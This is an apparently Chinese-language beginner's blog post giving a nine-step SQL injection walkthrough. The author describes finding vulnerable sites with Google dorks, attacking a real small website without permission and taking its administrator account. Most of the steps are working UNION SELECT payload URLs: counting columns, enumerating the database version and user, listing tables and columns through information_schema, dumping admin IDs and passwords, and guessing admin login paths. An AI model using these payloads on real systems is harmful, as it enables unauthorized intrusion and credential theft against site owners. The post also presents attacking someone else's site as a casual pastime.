2天以前,俺对于SQL注入式攻击仅仅是有个理论的概念,昨天上班无聊,随手搜索了一下相关的文档,做了个小练习,结果成功获取了某小网站的管理员权限,现在分享一下学习心得。


第一步:搜索可能有漏洞的网站

Google 是很强大的,之前×××的帖子就已经提到了利用google收集信息。这里我们可以搜索的关键词很多,例如:

inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=

inurl:pageid=

网上有个术语,把这些称作“Google Dorks”

如果想针对某个特定的网站,可以用类似的格式搜索:site: http:// www.victimsite.com  inurl:php?id=


第二步:检测一下目标是否有明显漏洞

搜索结果会出来一大堆,一个简单的测试方式是在Url末尾的数字后面加单引号或者加上 and 1=1 或者 1=2 看看界面是否有明显变化或者直接就给出SQL的报错语句了。

例如http:// www.victimsite.com /index.php?id=2'

经过5分钟的随意搜索和测试,俺找到一个学习的目标~

正常界面是这样的,

新手学习SQL 注入式攻击_安全技术

但是等我输入单引号,同样的界面就变成了

新手学习SQL 注入式攻击_安全技术_02


当我加上and 1=2 之后呢变成了

新手学习SQL 注入式攻击_安全技术_03

Good!很明显,对于不同的SQL语句有不同的反馈,有门!


第三步:看看该表有多少个字段


这一步很简单,也容易理解,url后面加上order by number就行了,这个number可以随意输入,一般从小往大的尝试,比如12,3,4,5都能看见网页界面,然后6就报错了,那么很明显这个网页对应的表只有5个字段

比如当我输入1-4的时候是这个界面


新手学习SQL 注入式攻击_安全技术_04

输入5就变成了

新手学习SQL 注入式攻击_安全技术_05

很好,那说明这个表就只有4个字段。


第四步:找到有漏洞的字段


如果字段数目是7,那么可以用以下方式,注意数字改成负数

http://www.victimsite.com/index.php?id=-2union select 1,2,3,4,5,6,7—

或者

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,3,4,5,6,7—


以我的攻击目标为例

新手学习SQL 注入式攻击_安全技术_06

很好,说明字段2有漏洞


第五步:找到对应的版本号,数据库和用户


把上面的2换成对应的version(),database()user()即可,例如

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,version(),4,5,6,7—

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,database(),4,5,6,7—

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,user(),4,5,6,7—

我的执行结果是

新手学习SQL 注入式攻击_安全技术_07

新手学习SQL 注入式攻击_安全技术_08

新手学习SQL 注入式攻击_安全技术_09


第六步:看看这个数据库下有哪些表


group_concat(table_name)替换有漏洞的字段,然后后面加frominformation_schema.tables where table_schema=database()

例如:http://www.victimsite.com/index.php?id=-2 and 1=2 unionselect 1,2,group_concat(table_name),4,5,6,7 from information_schema.tableswhere table_schema=database()—

执行结果如下:

新手学习SQL 注入式攻击_安全技术_10


第七步:找到表里的字段名称


"from information_schema.tables where table_schema=database()--" 替换成"FROMinformation_schema.columns WHERE table_name=mysqlchar—

然后在firefox上安装一个插件HackBar

装好以后界面如下

新手学习SQL 注入式攻击_安全技术_11

选择Sql->Mysql->MysqlChar(),然后输入你想查询的表名

新手学习SQL 注入式攻击_安全技术_12

将生成的结果替换到mysqlchar

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns wheretable_name=CHAR(97, 100,109, 105, 110)--

新手学习SQL 注入式攻击_安全技术_13

成功的获取字段名称!


第八步:查询表获得账户信息

group_concat(columnname1,0x3a,anothercolumnname2).来替换之前的字段

http://www.victimsite.com/index.php?id=-2
and 1=2 unionselect 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin—

例如

新手学习SQL 注入式攻击_安全技术_14

第九步:找到管理员版面登录

一般可能在以下地方存在

http://www.victimsite.com/admin.php
http://www.victimsite.com/admin/
http://www.victimsite.com/admin.html
http://www.victimsite.com:2082/



新手学习SQL 注入式攻击_安全技术_15


到此为止,俺的第一个sql注入式攻击的测试成功~